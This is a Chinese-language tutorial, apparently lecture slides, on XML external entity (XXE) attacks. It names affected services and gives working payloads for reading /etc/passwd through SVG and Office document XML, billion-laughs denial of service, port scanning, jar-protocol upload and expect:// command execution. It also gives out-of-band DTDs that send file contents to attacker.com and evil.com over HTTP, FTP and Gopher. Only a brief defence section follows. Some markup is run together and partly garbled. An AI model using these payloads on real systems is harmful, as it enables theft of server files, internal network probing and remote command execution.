XML实体攻击基本形态
例子:
1、RSS,ATOM(Mailchimp)
2、SVG Converter
3、XML Import(Zabbix)分布式系统监控应用,支持配置文件的导入导出,配置文件使用XML格式
4、百度统计XXE外部实体攻击
["<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPEsvg[<!ENTITY test SYSTEM \"file:///etc/passwd\">]><svgstyle=\"overflow: hidden; position: relative;\"xmlns=\"http://www.w3.org/2000/svg\"xmlns:xlink=\"http://www.w3.org/1999/xlink\" width=\"730\"version=\"1.1\" height=\"880\"><pathtransform=\"matrix(1,0,0,1,0,0)\" fill=\"#eaedf2\" stroke=\"none\"d=\"5Z\"></path><text transform=\"matrix(1,0,0,1,0,0)\" x=\"0\"y=\"42\" width=\"730\" height=\"2000\" text-anchor=\"start\"font=\"12px Arial\" stroke=\"none\" fill=\"#4b5473\" font-size=\"12px\"><tspandy=\"10.903846153846155\">&test;</tspan></text></svg>"]
5、网易云阅读
6、QQ邮箱文档预览XXE实体攻击
/word/document.xml:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?><w:document><w:body><w:p w:rsidR="00221056"w:rsidRDefault="000B15BC"><w:pPr><w:rPr><w:rFontsw:hint="eastAsia"/></w:rPr></w:pPr><w:r><w:rPr><w:rFontsw:hint="eastAsia"/></w:rPr><w:t>我</w:t></w:r><w:r><w:t>是一个文档。</w:t></w:r><w:bookmarkStart w:id="0"w:name="_GoBack"/><w:bookmarkEnd w:id="0"/></w:p><w:sectPrw:rsidR="00221056"><w:pgSz w:w="11906"w:h="16838"/><w:pgMar w:top="1440" w:right="1800"w:bottom="1440" w:left="1800" w:header="851" w:footer="992"w:gutter="0"/><w:cols w:space="425"/><w:docGrid w:type="lines"w:linePitch="312"/></w:sectPr></w:body></w:document>
<?xml version="1.0" encoding="UTF-8" standalone="yes"?><!DOCTYPE w[<!ENTITY xxe SYSTEM"file:///etc/passwd">]><w:document><w:body><w:p w:rsidR="00221056"w:rsidRDefault="000B15BC"><w:pPr><w:rPr><w:rFontsw:hint="eastAsia"/></w:rPr></w:pPr><w:r><w:rPr><w:rFontsw:hint="eastAsia"/></w:rPr><w:t>&xxe;</w:t><w:bookmarkStartw:id="0" w:name="_GoBack"/><w:bookmarkEndw:id="0"/></w:p><w:sectPr w:rsidR="00221056"><w:pgSzw:w="11906" w:h="16838"/><w:pgMar w:top="1440"w:right="1800" w:bottom="1440" w:left="1800" w:header="851"w:footer="992" w:gutter="0"/><w:cols w:space="425"/><w:docGridw:type="lines" w:linePitch="312"/></w:sectPr></w:body></w:document>
xl/sharedStrings.xml:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?><!DOCTYPE t [<!ENTITY xxe SYSTEM "file:///etc/network/interfaces">]><sstxmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" count="1" uniqueCount="1"><si><t>&xxe;</t><phoneticPrfontId="1" type="noConversion"/></si></sst>
XML实体漏洞多种利用方法:
? 拒绝服务? 枚举目录? 文件读取? 内网探测? 端口扫描? 文件上传? 命令执行
拒绝服务DOS
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE UserInfo [<!ENTITY name SYSTEM"file:///dev/random">]><UserInfo><name>&name;</name></UserInfo>
<!DOCTYPE UserInfo [<!ENTITY lol "lol"><!ENTITY lol2"&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"><!ENTITY lol3"&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"><!ENTITY lol7"&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">…….……..<!ENTITY lol8"&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"><!ENTITY lol9"&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">]><UserInfo>&lol9;</UserInfo>
目录枚举(Java系:一个奇葩的例外)
以Groovy为例:
def xxePoc = '<?xml version="1.0"?><!DOCTYPE customer[<!ENTITY nameSYSTEM"file:///">]><customer><name>&name;</name></customer>'def xmlParser = new XmlSlurper();def parsedContent = xmlParser.parseText(xxePoc)println parsedContent
端口扫描与内网探测
<!DOCTYPE UserInfo [<!ENTITY name SYSTEM"http://127.0.0.1:22/">]><UserInfo><name>&name;</name></UserInfo>
文件上传(jar协议)
Java通过jar协议处理远程jar包:1.获取远程jar包2.解压缩jar包,提取指定文件3.链接结束后,删除临时文件jar:http://host/evil.jar!/file/in/the/jar
攻击者利用过程:1.构造恶意jar包2.让目标解析jar包并获取恶意文件3.文件传输结束后,继续维持服务端链接4.使用列目录技巧寻找临时文件位置
<!DOCTYPE UserInfo [<!ENTITY name SYSTEM "jar:http://127.0.0.1:2014/!/">]><UserInfo><name>&name;</name></UserInfo>
HTTP/1.0 200 OKContent-Type: application/java-archiveDate: Sat Aug 09 04:31:39 EDT 2014Server: EvilServer 1.0This file was uploaded from theattacker server.
命令执行
<!DOCTYPE root [<!ENTITY foo SYSTEM"expect://id">]><methodCall><methodName>&foo;</methodName></methodCall>
PHP的Expect扩展: pecl install expect
<methodResponse><fault><value><struct><member><name>faultString</name><value><string>Method &uid=0(root) gid=0(root)groups=0(root)" does notexist</string></value></member></struct></value></fault></methodResponse>
高级XXE OOB技巧
? OOB(Out-Of-Band):外带数据多数情况下,能直接返回目标内容的攻击场景很少,因此需要一些技巧来获取我们想要的数据。? 参数实体(Parameter Entity):如果说实体是XML节点中引用的内容,那么参数实体就是实体中引用的内容。<!ENTITY % name "foo"><!ENTITY copyright "copyright ?2008, %name;.cn, ALL Right Reserved">1)参数实体只能在DTD声明中使用。2)参数实体中不能再引用参数实体。
利用HTTP协议外带数据
evil.xml
<!DOCTYPE root [? <!ENTITY % file SYSTEM“file:///etc/hosts"><!ENTITY % dtd SYSTEM"http://attacker.com/ext.dtd">%dtd;%send;]]><zabbix_export></zabbix_export>
嵌套参数实体的‘%’需要其十进制或16进制编码格式即%或%)
ext.dtd:
<!ENTITY % all "<!ENTITY % sendSYSTEM 'http://attacker.com/?%file;'>">%all;
PHP环境下可以使用php://filter:
php://filter/read=convert.base64-encode/resource=/etc/hosts
MjcuMC4wLjEJbG9jYWxob3N0CjEyNy4wLjEuMQlrYWxpCgojIFRoZSBmb2xsb3dpbmcgbGluZXMgYXJlIGRlc2lyYWJsZSBmb3IgSVB2NiBjYXBhYmxlIGhvc3RzCjo6MSAgICAgbG9jYWxob3N0IGlwNi1sb2NhbGhvc3QgaXA2LWxvb3BiYWNrCmZmMDI6OjEgaXA2LWFsbG5vZGVzCmZmMDI6OjIgaXA2LWFsbHJvdXRlcnMK
利用FTP协议外带数据
evil.xml
<!DOCTYPE a [<!ENTITY % asd SYSTEM“http://attacker.com/ext.dtd">%asd;%c;%rrr;]><a></a>
ext.dtd
<!ENTITY % b SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd"><!ENTITY % c "<!ENTITY % rrr SYSTEM'ftp://evil.com:8000/%b;'>">
利用Gopher协议外带数据(Java 1.6)
Gopher:古老的信息查找协议
格式:gopher://{host}:{port}/{type}{request}
? type:为一位整型数字
? request:任意要发送的请求内容,使用URL格式编码。
<!DOCTYPE roottag [<!ENTITY % file SYSTEM "file:///etc/passwd"><!ENTITY % dtd SYSTEM"http://attacker.com/ext.dtd">%dtd;]>
ext.dtd
<!ENTITY % all "<!ENTITY sendSYSTEM'gopher://attacker.com:1337/1%file;'>">%all;
在服务器中使用NC监听指定端口:
nc –lnp 1337
evil.xml
<!DOCTYPE test [<!ENTITY % one SYSTEM"https://attacker.com/ext.dtd" >%one;%two;%four;]>
ext.dtd
<!ENTITY % three SYSTEM"file:///c:/windows/win.ini"><!ENTITY % two "<!ENTITY % four SYSTEM'file:///%three;'>">
无效文件名构造主动报错
防御XML实体攻击
? 解析XML时忽略DOCTYPE文档声明
– 遍历所有结点若发现XML_DOCUMENT_TYPE_NODE类型的结点则报错
? 必须使用DOCTYPE的情况下禁止对外部实体的解析
? libxml_disable_entity_loader(true); //PHP
? 升级Libxml
– Libxml2.9默认已经可以防御XML实体攻击
– 查看libxml版本apt-cache show libxml2 | grep Version